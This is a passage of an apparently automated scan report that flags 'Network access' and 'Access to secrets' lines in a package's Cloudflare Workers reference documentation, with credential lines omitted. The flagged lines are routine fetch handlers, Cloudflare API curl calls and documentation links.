  • Network accessline 47
    [Credential-related source omitted]
  • Network accessline 48
    script.src = 'https://static.cloudflareinsights.com/beacon.min.js';
  • Access to secretsline 69
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/workerd/api.md

  • Network accessline 7
    export default {   async fetch(request, env, ctx) {
  • Network accessline 8
    async fetch(request, env, ctx) {
  • Network accessline 9
    const value = await env.KV.get("key");           // Bindings in env     const response = await env.API.fetch(request);   // Service binding     ctx.waitUntil(logRequest(request));              // Background task
  • Network accessline 10
    const response = await env.API.fetch(request);   // Service binding
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 37
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 38
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 71
    async fetch(request) {
  • Network accessline 96
    ### Fetch - `fetch()`, `Request`, `Response`, `Headers`
  • Network accessline 97
    - `fetch()`, `Request`, `Response`, `Headers`
  • Network accessline 128
    const response = await fetch('https://example.com');

packages/autoskills/skills-registry/cloudflare-deploy/references/workerd/configuration.md

  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 122
    const derived :Workerd.Worker = (   inherit = "base-service",   bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")]
  • Network accessline 123
    inherit = "base-service",   bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")] );
  • Network accessline 124
    bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")]
  • Access to secretsline 150
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/workerd/gotchas.md

  • Network accessline 53
    ### "Worker not responding" **Cause:** Socket misconfigured, no fetch handler, or port unavailable **Solution:** Verify socket `address` matches, worker exports `fetch()`, port available
  • Network accessline 55
    **Solution:** Verify socket `address` matches, worker exports `fetch()`, port available
  • Network accessline 113
    **Problem:** Breaking changes after compat date update **Cause:** New flags enabled between dates **Solution:** Review [compat dates docs](https://developers.cloudflare.com/workers/configuration/compatibility-dates/), test locally first
  • Network accessline 115
    **Solution:** Review [compat dates docs](https://developers.cloudflare.com/workers/configuration/compatibility-dates/), test locally first
  • Network accessline 135
    5. **Check versions**: Workerd version vs compat date 6. **Isolate issue**: Minimal repro config 7. **Review schema**: [workerd.capnp](https://github.com/cloudflare/workerd/blob/main/src/workerd/server/workerd.capnp)
  • Network accessline 137
    7. **Review schema**: [workerd.capnp](https://github.com/cloudflare/workerd/blob/main/src/workerd/server/workerd.capnp)

packages/autoskills/skills-registry/cloudflare-deploy/references/workerd/patterns.md

  • Network accessline 44
    const prodWorker :Workerd.Worker = (   inherit = "base-service",   bindings = [(name = "API_URL", text = "https://api.prod.com")]
  • Network accessline 45
    inherit = "base-service",   bindings = [(name = "API_URL", text = "https://api.prod.com")] );
  • Network accessline 46
    bindings = [(name = "API_URL", text = "https://api.prod.com")]
  • Network accessline 164
    export default {   async fetch(request, env, ctx) {
  • Network accessline 165
    async fetch(request, env, ctx) {
  • Network accessline 178
    export default {   async fetch(request, env, ctx) {
  • Network accessline 179
    async fetch(request, env, ctx) {

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-ai/README.md

  • Network accessline 24
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 25
    async fetch(request: Request, env: Env) {
  • Network accessline 93
    curl https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/ai/run/@cf/meta/llama-3.1-8b-instruct \
  • Network accessline 106
    const model = openai('model-name', {   baseURL: 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/ai/v1',
  • Network accessline 107
    baseURL: 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/ai/v1',
  • Network accessline 171
    # View model catalog # https://developers.cloudflare.com/workers-ai/models/
  • Network accessline 172
    # https://developers.cloudflare.com/workers-ai/models/

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-ai/api.md

  • Network accessline 94
    curl https://api.cloudflare.com/client/v4/accounts/{account_id}/ai/run/@cf/meta/llama-3.1-8b-instruct \

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-ai/configuration.md

  • Network accessline 27
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 28
    async fetch(request: Request, env: Env) {
  • Network accessline 46
    const response = await fetch(
  • Network accessline 47
    `https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/ai/run/@cf/meta/llama-3.1-8b-instruct`,
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Network accessline 64
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Network accessline 65
    baseURL: `https://api.cloudflare.com/client/v4/accounts/${env.ACCOUNT_ID}/ai/v1`

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-ai/gotchas.md

  • Network accessline 9
    // ✅ CORRECT - Use native binding export default {   async fetch(request: Request, env: Env) {
  • Network accessline 10
    export default {   async fetch(request: Request, env: Env) {     await env.AI.run('@cf/meta/llama-3.1-8b-instruct', { messages: [...] });
  • Network accessline 11
    async fetch(request: Request, env: Env) {
  • Network accessline 109
    import { openai } from '@ai-sdk/openai'; const model = openai('gpt-3.5-turbo', {   baseURL: 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/ai/v1',
  • Network accessline 110
    [Credential-related source omitted]
  • Network accessline 111
    baseURL: 'https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/ai/v1',

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-for-platforms/README.md

  • Network accessline 18
    **One-click deploy:** [Platform Starter Kit](https://github.com/cloudflare/workers-for-platforms-example) deploys complete WfP setup with dispatch namespace, dispatch worker, and user worker example.
  • Network accessline 20
    [![Deploy to Cloudflare](https://deploy.workers.cloudflare.com/button)](https://deploy.workers.cloudflare.com/?url=https://github.com/cloudflare/workers-for-platforms-example)
  • Network accessline 86
    - [durable-objects](../durable-objects/) - Stateful multi-tenant patterns - [sandbox](../sandbox/) - Alternative for untrusted code execution - [Reference Architecture: Programmable Platforms](https://developers.cloudflare.com/reference-arc
  • Network accessline 87
    - [sandbox](../sandbox/) - Alternative for untrusted code execution - [Reference Architecture: Programmable Platforms](https://developers.cloudflare.com/reference-architecture/diagrams/serverless/programmable-platforms/) - [Reference Archit
  • Network accessline 88
    - [Reference Architecture: Programmable Platforms](https://developers.cloudflare.com/reference-architecture/diagrams/serverless/programmable-platforms/)
  • Network accessline 89
    - [Reference Architecture: AI Vibe Coding Platform](https://developers.cloudflare.com/reference-architecture/diagrams/ai/ai-vibe-coding-platform/)

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-for-platforms/api.md

  • Network accessline 6
    [Credential-related source omitted]
  • Access to secretsline 6
    [Credential-related source omitted]
  • Network accessline 7
    "https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/dispatch/namespaces/$NAMESPACE/scripts/$SCRIPT_NAME" \
  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Network accessline 47
    interface DynamicDispatchLimits {   cpuMs?: number;        // Max CPU milliseconds   subRequests?: number;  // Max fetch() calls
  • Network accessline 48
    cpuMs?: number;        // Max CPU milliseconds   subRequests?: number;  // Max fetch() calls }
  • Network accessline 49
    subRequests?: number;  // Max fetch() calls
  • Network accessline 61
    curl -X PUT ".../scripts/$SCRIPT_NAME" \
  • Network accessline 76
    # List curl "https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/dispatch/namespaces/$NAMESPACE/scripts" \
  • Network accessline 77
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]
  • Network accessline 80
    [Credential-related source omitted]
  • Network accessline 81
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 83
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Network accessline 95
    [Credential-related source omitted]
  • Access to secretsline 95
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]
  • Network accessline 109
    curl -X POST ".../workers/assets/upload?base64=true" \
  • Network accessline 119
    curl -X PUT ".../scripts/$SCRIPT_NAME" \
  • Network accessline 134
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 135
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 136
    const userWorkerName = new URL(request.url).hostname.split(".")[0];     const userWorker = env.DISPATCHER.get(userWorkerName);     return await userWorker.fetch(request);
  • Network accessline 137
    const userWorker = env.DISPATCHER.get(userWorkerName);     return await userWorker.fetch(request);   },
  • Network accessline 138
    return await userWorker.fetch(request);
  • Network accessline 145
    const pathParts = new URL(request.url).pathname.split("/").filter(Boolean); const userWorker = env.DISPATCHER.get(pathParts[0]); return await userWorker.fetch(request);
  • Network accessline 147
    return await userWorker.fetch(request);
  • Network accessline 153
    const userWorkerName = await env.ROUTING_KV.get(hostname); const userWorker = env.DISPATCHER.get(userWorkerName); return await userWorker.fetch(request);
  • Network accessline 155
    return await userWorker.fetch(request);
  • Network accessline 172
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 173
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 184
    const headers = new Headers(request.headers);       headers.set("Authorization", `Bearer ${generateJWT(customerName)}`);       return fetch(new Request(request, { headers }));
  • Network accessline 185
    headers.set("Authorization", `Bearer ${generateJWT(customerName)}`);       return fetch(new Request(request, { headers }));     }
  • Network accessline 186
    return fetch(new Request(request, { headers }));
  • Network accessline 189
    return fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-for-platforms/configuration.md

  • Network accessline 28
    [Credential-related source omitted]
  • Access to secretsline 28
    [Credential-related source omitted]
  • Network accessline 29
    "https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/dispatch/namespaces/$NAMESPACE" \
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 75
    limits: {        cpuMs: 10,        // Max CPU ms       subRequests: 5    // Max fetch() calls
  • Network accessline 76
    cpuMs: 10,        // Max CPU ms       subRequests: 5    // Max fetch() calls     }
  • Network accessline 77
    subRequests: 5    // Max fetch() calls
  • Network accessline 85
    try {   return await userWorker.fetch(request);
  • Network accessline 86
    return await userWorker.fetch(request);
  • Network accessline 130
    # Set tags curl -X PUT ".../tags" -d '["customer-123", "pro", "production"]'
  • Network accessline 131
    curl -X PUT ".../tags" -d '["customer-123", "pro", "production"]'
  • Network accessline 133
    # Filter by tag curl ".../scripts?tags=production%3Ayes"
  • Network accessline 134
    curl ".../scripts?tags=production%3Ayes"
  • Network accessline 136
    # Delete by tag curl -X DELETE ".../scripts?tags=customer-123%3Ayes"
  • Network accessline 137
    curl -X DELETE ".../scripts?tags=customer-123%3Ayes"

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-for-platforms/gotchas.md

  • Network accessline 11
    try {   const userWorker = env.DISPATCHER.get(workerName);   return userWorker.fetch(request);
  • Network accessline 12
    const userWorker = env.DISPATCHER.get(workerName);   return userWorker.fetch(request); } catch (e) {
  • Network accessline 13
    return userWorker.fetch(request);
  • Network accessline 59
    **Cause:** Outbound Worker enabled blocks `connect()` API for TCP sockets   **Solution:** Outbound Workers only intercept `fetch()` calls; TCP socket connections unavailable when outbound configured. Remove outbound if TCP needed, or use pr
  • Network accessline 60
    **Solution:** Outbound Workers only intercept `fetch()` calls; TCP socket connections unavailable when outbound configured. Remove outbound if TCP needed, or use proxy pattern.
  • Network accessline 123
    See [Cloudflare API Rate Limits](https://developers.cloudflare.com/fundamentals/api/reference/limits/) for details.
  • Network accessline 129
    | CPU time (custom limits) | Up to Workers plan limit | Set per-invocation in dispatch worker | | Subrequests (custom limits) | Up to Workers plan limit | Set per-invocation in dispatch worker | | Outbound Worker subrequests | Not intercept
  • Network accessline 130
    | Subrequests (custom limits) | Up to Workers plan limit | Set per-invocation in dispatch worker | | Outbound Worker subrequests | Not intercepted for DO/mTLS | Only regular fetch() calls | | TCP sockets with outbound | Disabled | `connect(
  • Network accessline 131
    | Outbound Worker subrequests | Not intercepted for DO/mTLS | Only regular fetch() calls |

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-for-platforms/patterns.md

  • Network accessline 11
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 12
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 23
    const userWorker = env.DISPATCHER.get(userWorkerName, {}, { limits });     return await userWorker.fetch(request);
  • Network accessline 24
    return await userWorker.fetch(request);
  • Network accessline 63
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 64
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 72
    const userWorker = env.DISPATCHER.get(hostnameData.workerName);     return await userWorker.fetch(request);
  • Network accessline 73
    return await userWorker.fetch(request);
  • Network accessline 148
    **VibeSDK:** For AI-powered code generation + deployment platforms, see [VibeSDK](https://github.com/cloudflare/vibesdk) - handles AI generation, sandbox execution, live preview, and deployment.
  • Network accessline 150
    Reference: [AI Vibe Coding Platform Architecture](https://developers.cloudflare.com/reference-architecture/diagrams/ai/ai-vibe-coding-platform/)

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-playground/README.md

  • Network accessline 7
    **URL:** [workers.cloudflare.com/playground](https://workers.cloudflare.com/playground)
  • Network accessline 26
    export default {   async fetch(request, env, ctx) {
  • Network accessline 27
    async fetch(request, env, ctx) {
  • Network accessline 36
    export default {   async fetch(request, env, ctx) {
  • Network accessline 37
    async fetch(request, env, ctx) {
  • Network accessline 47
    export default {   async fetch(request, env, ctx) {
  • Network accessline 48
    async fetch(request, env, ctx) {
  • Network accessline 49
    const response = await fetch('https://example.com');
  • Network accessline 60
    import { Hono } from 'https://esm.sh/hono@3';
  • Network accessline 62
    export default {   async fetch(request) {
  • Network accessline 63
    async fetch(request) {
  • Network accessline 64
    const app = new Hono();     app.get('/', (c) => c.text('Hello Hono!'));     return app.fetch(request);
  • Network accessline 65
    app.get('/', (c) => c.text('Hello Hono!'));     return app.fetch(request);   }
  • Network accessline 66
    return app.fetch(request);
  • Network accessline 124
    - [Cloudflare Workers Docs](https://developers.cloudflare.com/workers/)
  • Network accessline 125
    - [Workers Examples](https://developers.cloudflare.com/workers/examples/)
  • Network accessline 126
    - [Wrangler CLI](https://developers.cloudflare.com/workers/wrangler/)
  • Network accessline 127
    - [Workers API Reference](https://developers.cloudflare.com/workers/runtime-apis/)

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-playground/api.md

  • Network accessline 6
    export default {   async fetch(request, env, ctx) {
  • Network accessline 7
    async fetch(request, env, ctx) {
  • Network accessline 52
    // Background work (after response sent) ctx.waitUntil(fetch('https://logs.example.com', { method: 'POST', body: '...' }));
  • Network accessline 53
    ctx.waitUntil(fetch('https://logs.example.com', { method: 'POST', body: '...' }));
  • Network accessline 60
    const response = await fetch('https://api.example.com');
  • Network accessline 63
    // With options await fetch(url, {
  • Network accessline 64
    await fetch(url, {
  • Network accessline 77
    let response = await cache.match(request); if (!response) {   response = await fetch(origin);
  • Network accessline 78
    if (!response) {   response = await fetch(origin);   await cache.put(request, response.clone()); // Clone before put!
  • Network accessline 79
    response = await fetch(origin);

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-playground/configuration.md

  • Network accessline 5
    Navigate to [workers.cloudflare.com/playground](https://workers.cloudflare.com/playground)
  • Network accessline 35
    export default {   async fetch(request, env, ctx) {
  • Network accessline 36
    async fetch(request, env, ctx) {
  • Network accessline 53
    // Import from CDN import { Hono } from 'https://esm.sh/hono@3';
  • Network accessline 54
    import { Hono } from 'https://esm.sh/hono@3';
  • Network accessline 59
    export default {   async fetch(request) {
  • Network accessline 60
    async fetch(request) {
  • Network accessline 61
    const app = new Hono();     app.get('/', (c) => c.text('Hello'));     return app.fetch(request);
  • Network accessline 62
    app.get('/', (c) => c.text('Hello'));     return app.fetch(request);   }
  • Network accessline 63
    return app.fetch(request);
  • Network accessline 108
    Example: `https://workers.cloudflare.com/playground#abc123...`

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-playground/gotchas.md

  • Network accessline 17
    // ❌ Body consumed twice const body = await request.text(); await fetch(url, { body: request.body }); // Error!
  • Network accessline 19
    await fetch(url, { body: request.body }); // Error!
  • Network accessline 22
    const clone = request.clone(); const body = await request.text(); await fetch(url, { body: clone.body });
  • Network accessline 24
    await fetch(url, { body: clone.body });
  • Network accessline 32
    // ✅ Move slow work to background ctx.waitUntil(fetch('https://analytics.example.com', {...}));
  • Network accessline 33
    ctx.waitUntil(fetch('https://analytics.example.com', {...}));
  • Network accessline 42
    // ❌ 100 individual fetches // ✅ Batch into single API call await fetch('https://api.example.com/batch', {
  • Network accessline 43
    // ✅ Batch into single API call await fetch('https://api.example.com/batch', {   body: JSON.stringify({ ids: [...] })
  • Network accessline 44
    await fetch('https://api.example.com/batch', {

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-playground/patterns.md

  • Network accessline 6
    export default {   async fetch(request) {
  • Network accessline 7
    async fetch(request) {
  • Network accessline 26
    export default {   async fetch(request) {
  • Network accessline 27
    async fetch(request) {
  • Network accessline 37
    export default {   async fetch(request) {
  • Network accessline 38
    async fetch(request) {
  • Network accessline 39
    const url = new URL(request.url);     url.hostname = 'api.example.com';     return fetch(url.toString(), {
  • Network accessline 40
    url.hostname = 'api.example.com';     return fetch(url.toString(), {       method: request.method, headers: request.headers, body: request.body
  • Network accessline 41
    return fetch(url.toString(), {
  • Network accessline 51
    export default {   async fetch(request) {
  • Network accessline 52
    async fetch(request) {
  • Network accessline 60
    });     }     const response = await fetch('https://api.example.com', request);
  • Network accessline 61
    }     const response = await fetch('https://api.example.com', request);     const modified = new Response(response.body, response);
  • Network accessline 62
    const response = await fetch('https://api.example.com', request);
  • Network accessline 73
    export default {   async fetch(request) {
  • Network accessline 74
    async fetch(request) {
  • Network accessline 75
    if (request.method !== 'GET') return fetch(request);
  • Network accessline 77
    let response = await cache.match(request);     if (!response) {       response = await fetch('https://api.example.com');
  • Network accessline 78
    if (!response) {       response = await fetch('https://api.example.com');       if (response.status === 200) await cache.put(request, response.clone());
  • Network accessline 79
    response = await fetch('https://api.example.com');
  • Network accessline 90
    import { Hono } from 'https://esm.sh/hono@3';
  • Network accessline 101
    export default {   async fetch(request) {
  • Network accessline 102
    async fetch(request) {
  • Network accessline 119
    export default {   async fetch(request) {
  • Network accessline 120
    async fetch(request) {
  • Network accessline 121
    try {       const response = await fetch('https://api.example.com');       if (!response.ok) throw new Error(`API returned ${response.status}`);
  • Network accessline 122
    const response = await fetch('https://api.example.com');

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-vpc/README.md

  • Network accessline 37
    **Don't use TCP Sockets when:** - ❌ You just need HTTP/HTTPS (use `fetch()` or VPC Services)
  • Network accessline 38
    - ❌ You just need HTTP/HTTPS (use `fetch()` or VPC Services)
  • Network accessline 47
    export default {   async fetch(req: Request): Promise<Response> {
  • Network accessline 48
    async fetch(req: Request): Promise<Response> {
  • Network accessline 111
    2. **Validate destinations** - Prevent SSRF by allowlisting hosts 3. **Use Hyperdrive for databases** - Better performance than raw TCP 4. **Prefer fetch() for HTTP** - Only use TCP when necessary
  • Network accessline 112
    3. **Use Hyperdrive for databases** - Better performance than raw TCP 4. **Prefer fetch() for HTTP** - Only use TCP when necessary 5. **Combine with Smart Placement** - Reduce latency to private networks
  • Network accessline 113
    4. **Prefer fetch() for HTTP** - Only use TCP when necessary
  • Network accessline 125
    - [TCP Sockets API Documentation](https://developers.cloudflare.com/workers/runtime-apis/tcp-sockets/)
  • Network accessline 126
    - [Connect to databases guide](https://developers.cloudflare.com/workers/tutorials/connect-to-postgres/)
  • Network accessline 127
    - [Cloudflare Tunnel setup](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-vpc/api.md

  • Network accessline 161
    export default {   async fetch(req: Request): Promise<Response> {
  • Network accessline 162
    async fetch(req: Request): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-vpc/configuration.md

  • Network accessline 32
    export default {   async fetch(req: Request, env: Env): Promise<Response> {
  • Network accessline 33
    async fetch(req: Request, env: Env): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-vpc/gotchas.md

  • Network accessline 38
    **Solution:** Create inside handler: `export default { async fetch() { const socket = connect(...); } }`
  • Network accessline 152
    |----------|-------------|--------| | PostgreSQL/MySQL | [Hyperdrive](../hyperdrive/) | Connection pooling, caching | | HTTP/HTTPS | `fetch()` | Simpler, built-in |
  • Network accessline 153
    | PostgreSQL/MySQL | [Hyperdrive](../hyperdrive/) | Connection pooling, caching | | HTTP/HTTPS | `fetch()` | Simpler, built-in | | HTTP with SSRF protection | VPC Services (beta 2025+) | Declarative bindings |
  • Network accessline 154
    | HTTP/HTTPS | `fetch()` | Simpler, built-in |

packages/autoskills/skills-registry/cloudflare-deploy/references/workers-vpc/patterns.md

  • Network accessline 140
    export default {   async fetch(req: Request): Promise<Response> {
  • Network accessline 141
    async fetch(req: Request): Promise<Response> {
  • Network accessline 197
    export default {   async fetch(req: Request): Promise<Response> {
  • Network accessline 198
    async fetch(req: Request): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/workers/README.md

  • Network accessline 18
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 19
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Access to secretsline 38
    [Credential-related source omitted]
  • Network accessline 63
    // HTTP requests async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response>
  • Network accessline 64
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response>
  • Network accessline 78
    **Docs**: https://developers.cloudflare.com/workers/
  • Network accessline 79
    **Examples**: https://developers.cloudflare.com/workers/examples/
  • Network accessline 80
    **Runtime APIs**: https://developers.cloudflare.com/workers/runtime-apis/

packages/autoskills/skills-registry/cloudflare-deploy/references/workers/api.md

  • Network accessline 6
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 7
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 13
    });     }     return fetch(request);  // Subrequest to origin
  • Network accessline 14
    }     return fetch(request);  // Subrequest to origin   },
  • Network accessline 15
    return fetch(request);  // Subrequest to origin
  • Access to secretsline 52
    [Credential-related source omitted]
  • Network accessline 61
    if (!response) {   response = await fetch(request);
  • Network accessline 62
    response = await fetch(request);
  • Network accessline 156
    async fetch(request: Request): Promise<Response> {
  • Network accessline 161
    return new Response(String(this.value)); } // Usage: await stub.fetch('http://x/increment')
  • Network accessline 163
    // Usage: await stub.fetch('http://x/increment')
  • Network accessline 179
    // Worker-to-worker RPC (zero latency, no internet round-trip) return env.SERVICE_B.fetch(request);
  • Network accessline 180
    return env.SERVICE_B.fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/workers/configuration.md

  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Network accessline 129
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 130
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Access to secretsline 145
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/workers/frameworks.md

  • Network accessline 101
    export default {   fetch(request: Request, env: Env, ctx: ExecutionContext) {
  • Network accessline 102
    fetch(request: Request, env: Env, ctx: ExecutionContext) {
  • Network accessline 103
    return app.fetch(request, env, ctx);

packages/autoskills/skills-registry/cloudflare-deploy/references/workers/gotchas.md

  • Network accessline 63
    **Cause:** Using old `stub.fetch()` pattern instead of RPC (2024+)
  • Network accessline 67
    // ❌ Old fetch pattern export class MyDO {   async fetch(request: Request) {
  • Network accessline 68
    export class MyDO {   async fetch(request: Request) {     const { method } = await request.json();
  • Network accessline 69
    async fetch(request: Request) {
  • Network accessline 74
    } const stub = env.DO.get(id); const res = await stub.fetch('http://x', { method: 'POST', body: JSON.stringify({ method: 'increment' }) });
  • Network accessline 76
    const res = await stub.fetch('http://x', { method: 'POST', body: JSON.stringify({ method: 'increment' }) });

packages/autoskills/skills-registry/cloudflare-deploy/references/workers/patterns.md

  • Network accessline 10
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 11
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 77
    // ❌ Sequential const user = await fetch('/api/user/1');
  • Network accessline 78
    const user = await fetch('/api/user/1');
  • Network accessline 79
    const posts = await fetch('/api/posts?user=1');
  • Network accessline 81
    // ✅ Parallel const [user, posts] = await Promise.all([fetch('/api/user/1'), fetch('/api/posts?user=1')]);
  • Network accessline 82
    const [user, posts] = await Promise.all([fetch('/api/user/1'), fetch('/api/posts?user=1')]);
  • Network accessline 113
    describe('Worker', () => {   it('returns 200', async () => {     const req = new Request('http://localhost/');
  • Network accessline 114
    it('returns 200', async () => {     const req = new Request('http://localhost/');     const env = { MY_VAR: 'test' };
  • Network accessline 115
    const req = new Request('http://localhost/');
  • Network accessline 116
    const env = { MY_VAR: 'test' };     const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };     expect((await worker.fetch(req, env, ctx)).status).toBe(200);
  • Network accessline 117
    const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };     expect((await worker.fetch(req, env, ctx)).status).toBe(200);   });
  • Network accessline 118
    expect((await worker.fetch(req, env, ctx)).status).toBe(200);
  • Network accessline 181
    async run(event: WorkflowEvent<{ userId: string }>, step: WorkflowStep) {     const user = await step.do('fetch-user', async () =>        fetch(`/api/users/${event.payload.userId}`).then(r => r.json())
  • Network accessline 182
    const user = await step.do('fetch-user', async () =>        fetch(`/api/users/${event.payload.userId}`).then(r => r.json())     );
  • Network accessline 183
    fetch(`/api/users/${event.payload.userId}`).then(r => r.json())

packages/autoskills/skills-registry/cloudflare-deploy/references/workflows/api.md

  • Network accessline 52
    // From Worker export default { async fetch(req, env) { const instance = await env.MY_WORKFLOW.create({id: crypto.randomUUID(), params: { userId: 'user123' }}); return Response.json({ id: instance.id }); }};
  • Network accessline 53
    export default { async fetch(req, env) { const instance = await env.MY_WORKFLOW.create({id: crypto.randomUUID(), params: { userId: 'user123' }}); return Response.json({ id: instance.id }); }};
  • Network accessline 75
    await step.do('validate', async () => {   if (!event.params.paymentMethod) throw new NonRetryableError('Payment method required');   const res = await fetch('https://api.example.com/charge', { method: 'POST' });
  • Network accessline 76
    if (!event.params.paymentMethod) throw new NonRetryableError('Payment method required');   const res = await fetch('https://api.example.com/charge', { method: 'POST' });   if (res.status === 401) throw new NonRetryableError('Invalid credent
  • Network accessline 77
    const res = await fetch('https://api.example.com/charge', { method: 'POST' });
  • Network accessline 86
    // Idempotency await step.do('charge', async () => {   const sub = await fetch(`https://api/subscriptions/${id}`).then(r => r.json());
  • Network accessline 87
    await step.do('charge', async () => {   const sub = await fetch(`https://api/subscriptions/${id}`).then(r => r.json());   if (sub.charged) return sub; // Already done
  • Network accessline 88
    const sub = await fetch(`https://api/subscriptions/${id}`).then(r => r.json());
  • Network accessline 89
    if (sub.charged) return sub; // Already done   return await fetch(`https://api/subscriptions/${id}`, {method: 'POST', body: JSON.stringify({ amount: 10.0 })}).then(r => r.json()); });
  • Network accessline 90
    return await fetch(`https://api/subscriptions/${id}`, {method: 'POST', body: JSON.stringify({ amount: 10.0 })}).then(r => r.json());
  • Network accessline 175
    [Credential-related source omitted]
  • Network accessline 176
    [Credential-related source omitted]
  • Network accessline 178
    [Credential-related source omitted]
  • Network accessline 179
    [Credential-related source omitted]
  • Network accessline 181
    [Credential-related source omitted]
  • Network accessline 182
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/workflows/configuration.md

  • Network accessline 40
    timeout: '30 minutes'     // Per-attempt timeout (default: 10min) }, async () => {   const res = await fetch('https://api.example.com/data');
  • Network accessline 41
    }, async () => {   const res = await fetch('https://api.example.com/data');   if (!res.ok) throw new Error('Failed');
  • Network accessline 42
    const res = await fetch('https://api.example.com/data');
  • Access to secretsline 141
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/workflows/gotchas.md

  • Network accessline 89
    - [Official Docs](https://developers.cloudflare.com/workflows/)
  • Network accessline 90
    - [Get Started Guide](https://developers.cloudflare.com/workflows/get-started/guide/)
  • Network accessline 91
    - [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/)
  • Network accessline 92
    - [REST API](https://developers.cloudflare.com/api/resources/workflows/)
  • Network accessline 93
    - [Examples](https://developers.cloudflare.com/workflows/examples/)
  • Network accessline 94
    - [Limits](https://developers.cloudflare.com/workflows/reference/limits/)
  • Network accessline 95
    - [Pricing](https://developers.cloudflare.com/workflows/reference/pricing/)

packages/autoskills/skills-registry/cloudflare-deploy/references/workflows/patterns.md

  • Network accessline 38
    async run(event, step) {     const rawData = await step.do('extract', {retries: { limit: 10, delay: '30s', backoff: 'exponential' }}, async () => {       const res = await fetch(event.params.sourceUrl);
  • Network accessline 39
    const rawData = await step.do('extract', {retries: { limit: 10, delay: '30s', backoff: 'exponential' }}, async () => {       const res = await fetch(event.params.sourceUrl);       if (!res.ok) throw new Error('Fetch failed');
  • Network accessline 40
    const res = await fetch(event.params.sourceUrl);

packages/autoskills/skills-registry/cloudflare-deploy/references/wrangler/api.md

